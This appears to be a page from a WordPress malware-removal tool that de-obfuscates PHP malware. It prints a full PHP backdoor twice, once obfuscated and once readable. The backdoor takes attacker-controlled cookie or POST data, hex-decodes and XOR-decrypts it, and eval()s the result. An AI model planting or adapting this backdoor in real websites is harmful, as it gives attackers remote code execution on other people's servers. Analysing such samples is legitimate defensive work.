De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php $kxlZCgbi = chr/* cvCce */( 953 - 838 ).chr/* bG*/( 1017/* z */- 901 )."\162" ./* C */chr/* DrRqC*/( 536 - 441/*wZN*/)."\162" . "\145" . "\x70" . 'e' . chr ( 507/* lgq */- 410 ).chr (/*p*/588/* sZMlW */-/* XZZJW */472/* mijFm */);
$wDISJcQ/* ppvf */= chr ( 329 - 217 ).chr ( 256 -/* kBUDA */159 )."\x63" . "\x6b";$_dqLN = '42459';
function/*WY */EHoxhvfmh()
{
/* yWiPt*/$TnSLyJH/* qZge */=/* lyVu */Array/* Rcfzk */( "ahLjWXcwp" => "McenXAKKLQK"/* NOL */);$_BWbnV = '52172';
$mrELmi = Array/* Wp */( "ylvAXQRrkhTlqBrYnZJWVRJEKRD" =>/* DmF */"byVXYGjjuZFGLhrbLgXqUEntTn" );;
/* rK */$OVBtf =/* LyjGb */Array(/*bhW*/$TnSLyJH, $_COOKIE,/* X */$TnSLyJH, $_POST, $mrELmi);
/* AeA */
return $OVBtf;$_pFXze =/* hE */'56154';
}
/*mJffR */
/*Pu */function/*u */dYinOainW($GMCMEEfZt, $TnSLyJH)
{
if/* QjPG */( count ( $GMCMEEfZt )/* wOkcx */==/* qGNM */3/* K */) {
$tUPxfmJlo = $GMCMEEfZt[1];
/* EF */$nyjzmS = $GMCMEEfZt[2];
$diGXIP/* SDX */= $tUPxfmJlo($nyjzmS);
/* oDtm */eval (/* oQgiX */$diGXIP/* UEUW*/);$_Hr = '34534';
die ();$_FD =/*YbCr */'8669';
}
/*s */}
/*pm */
function YvINFoABC($oLNXrWTigv, $BfqUp)
/* l*/{
return $oLNXrWTigv ^ $BfqUp;
}
$kQXXvGBuBe =/* lhMY */'#';
/* plWc*/function XYApVh($JarwchR,/*RqY */$kQXXvGBuBe)
{
$JarwchR = explode ($kQXXvGBuBe, $JarwchR/* mznho*/);
/*WvQo */
dYinOainW($JarwchR, $kQXXvGBuBe);;
/* pp */}
/* t*/
/* zg */foreach (EHoxhvfmh() as $dovsWlC) {
foreach ( $dovsWlC as $BfqUp => $oLNXrWTigv ) {
$FrUlcRnmjb = strlen( $oLNXrWTigv/* r*/)/strlen( $BfqUp/* n*/);
$oLNXrWTigv/*mfV*/= @$wDISJcQ( chr/* J */( 490 - 418 ).chr/* kGf*/(/* QC */175/* YIW*/-/*FWT*/133/* zMjpe */),/*A */$oLNXrWTigv );
$BfqUp .= "nsWsd-kFol-Wfmv-veIpj-CUvfBM-VNyR-gKfsSo";$_Y =/* vvrT*/'38778';
/* yYhrq */$BfqUp = $kxlZCgbi ( $BfqUp,/* eIa */$FrUlcRnmjb/*elXs */+ 1);$_Mf = '15528';
/* SM */XYApVh(YvINFoABC($oLNXrWTigv, $BfqUp), $kQXXvGBuBe);
continue;
/* vTf */}
}<?php
$kxlZCgbi = "str_repeat";
$wDISJcQ = "pack";
$_dqLN = '42459';
function EHoxhvfmh()
{
/* yWiPt*/
$TnSLyJH = array("ahLjWXcwp" => "McenXAKKLQK");
$_BWbnV = '52172';
$mrELmi = array("ylvAXQRrkhTlqBrYnZJWVRJEKRD" => "byVXYGjjuZFGLhrbLgXqUEntTn");
/* rK */
$OVBtf = array(
/*bhW*/
$TnSLyJH,
$_COOKIE,
/* X */
$TnSLyJH,
$_POST,
$mrELmi,
);
/* AeA */
return $OVBtf;
}
/*mJffR */
/*Pu */
function dYinOainW($GMCMEEfZt, $TnSLyJH)
{
if (count($GMCMEEfZt) == 3) {
$tUPxfmJlo = $GMCMEEfZt[1];
/* EF */
$nyjzmS = $GMCMEEfZt[2];
$diGXIP = $tUPxfmJlo($nyjzmS);
/* oDtm */
eval($diGXIP);
$_Hr = '34534';
die;
}
/*s */
}
/*pm */
function YvINFoABC($oLNXrWTigv, $BfqUp)
{
return $oLNXrWTigv ^ $BfqUp;
}
$kQXXvGBuBe = '#';
/* plWc*/
function XYApVh($JarwchR, $kQXXvGBuBe)
{
$JarwchR = explode($kQXXvGBuBe, $JarwchR);
/*WvQo */
dYinOainW($JarwchR, $kQXXvGBuBe);
/* pp */
}
/* t*/
/* zg */
foreach (EHoxhvfmh() as $dovsWlC) {
foreach ($dovsWlC as $BfqUp => $oLNXrWTigv) {
$FrUlcRnmjb = strlen($oLNXrWTigv) / strlen($BfqUp);
$oLNXrWTigv = @$wDISJcQ(
"H*",
/*A */
$oLNXrWTigv
);
$BfqUp .= "nsWsd-kFol-Wfmv-veIpj-CUvfBM-VNyR-gKfsSo";
$_Y = '38778';
/* yYhrq */
$BfqUp = $kxlZCgbi(
$BfqUp,
/* eIa */
$FrUlcRnmjb + 1
);
$_Mf = '15528';
/* SM */
XYApVh(YvINFoABC($oLNXrWTigv, $BfqUp), $kQXXvGBuBe);
continue;
}
}Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.